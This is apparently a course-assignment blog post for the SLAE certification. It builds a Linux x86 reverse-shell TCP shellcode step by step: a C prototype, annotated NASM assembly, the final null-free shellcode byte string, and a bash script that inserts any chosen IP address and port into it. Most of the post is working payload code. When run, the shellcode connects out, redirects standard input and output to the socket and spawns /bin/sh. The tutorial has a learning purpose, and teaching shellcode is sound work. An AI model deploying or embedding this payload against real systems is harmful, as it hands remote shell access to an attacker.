Shellcoding Linux x86 – Reverse Shell TCP – Assignment 2

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Code structure:

  • 1. Create a socket
  • 2. Connect to a IP and port
  • 3. Redirect STDIN, STDOUT and STDERR to the client connection
  • 4. Execute a shell

Again, I prepared an example coded in C:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(){
	// man socket
	int host_socket = socket(AF_INET, SOCK_STREAM, 0);

	// man 7 ip
	struct sockaddr_in host_address;

	host_address.sin_family = AF_INET;
	// man htons
	host_address.sin_port = htons(8888);
	host_address.sin_addr.s_addr = inet_addr("127.0.0.1");	

	//man connect
	connect(host_socket, (struct sockaddress *)&host_address, sizeof(host_address));

	// man dup
	dup2(host_socket, 0);
	dup2(host_socket, 1);
	dup2(host_socket, 2);

	// man execve
	execve("/bin/sh", NULL, NULL);
}

1. Create a socket

We already know how to do this part, it’s explained step by step in the previous blog post:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd

2 . Connect to an IP and a port

If we check the man page, we can see what arguments we need to pass to connect function:

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

If we remember the bind function from the previous assignment is almost the same:

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80

Nevertheless, we need to do a change, we need to pass the IP address where we want to connect.

First of all, we need to convert the address to hex, we can use this python function:

[socket@xxxxx ~]$ python
Python 3.7.2 (default, Jan 10 2019, 23:51:51) 
[GCC 8.2.1 20181127] on linux
...
>>> import socket
>>> socket.inet_aton('127.0.0.1')
b'\x7f\x00\x00\x01' // it has nulls, we can't use it
>>> socket.inet_aton('127.1.1.1')
b'\x7f\x01\x01\x01'

And now, let’s modify our previous code. We are going to push the hex address for the IP, and modify EBX to contain a 3 that is SYS_CONNECT.

; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.1.1.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80

3. Duplicate the file descriptors

We are going to use the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

But we need to store sockfd in EBX, because is needed in dup as a parameter. So we are going to do:

mov ebx, edi ; moving sockfd

Final code of this part:

; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

mov ebx, edi ; moving sockfd

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop

4. Execute a shell

Exactly the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

This part of code:

; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

We put all together, and this is the final code:

; Filename: reverse_shell.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy

global _start			

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx



; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd



; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.0.0.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80



; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

;mov ebx, edi ; moving sockfd
xchg ebx, edi

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop



; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

This if the final shellcode:

"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x01\x01\x01\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

And it works!


Port and IP address changer:

I did this bash script to automate the process of selecting a different ip address and port. Here is the code:

#!/bin/bash

# ip address
ip_address=$1

ip_1=$(echo $ip_address | awk -F '.' '{print$1}')
ip_2=$(echo $ip_address | awk -F '.' '{print$2}')
ip_3=$(echo $ip_address | awk -F '.' '{print$3}')
ip_4=$(echo $ip_address | awk -F '.' '{print$4}')

ip_hex1=$(echo "obase=16; $ip_1" | bc)
ip_hex2=$(echo "obase=16; $ip_2" | bc)
ip_hex3=$(echo "obase=16; $ip_3" | bc)
ip_hex4=$(echo "obase=16; $ip_4" | bc)

if [ $(echo $ip_hex1 | wc -c) == 2 ]
then
	ip_hex1=$(echo $ip_hex1 | sed 's/^/0/')
fi

if [ $(echo $ip_hex2 | wc -c) == 2 ]
then
	ip_hex2=$(echo $ip_hex2 | sed 's/^/0/')
fi

if [ $(echo $ip_hex3 | wc -c) == 2 ]
then
	ip_hex3=$(echo $ip_hex3 | sed 's/^/0/')
fi

if [ $(echo $ip_hex4 | wc -c) == 2 ]
then
	ip_hex4=$(echo $ip_hex4 | sed 's/^/0/')
fi

echo '[+] IP address values in hex:'
echo $ip_hex4 $ip_hex3 $ip_hex2 $ip_hex1
# 01 01 01 7F

# port
port_hex=$(echo "obase=16; $2" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk  -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk  -F ':' '{print$1}')

if [ $(echo $port_hex1 | wc -c) == 2 ]
then
	port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi

if [ $(echo $port_hex2 | wc -c) == 2 ]
then
	port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi

echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2

echo -e '[+] Final Shellcode:'

shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x$ip_hex1\x$ip_hex2\x$ip_hex3\x$ip_hex4\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

echo $shellcode

And here is an screenshot:

Here is a link to my Github account where all the code is stored:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment2

And that’s all for this interesting second assignment!

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published.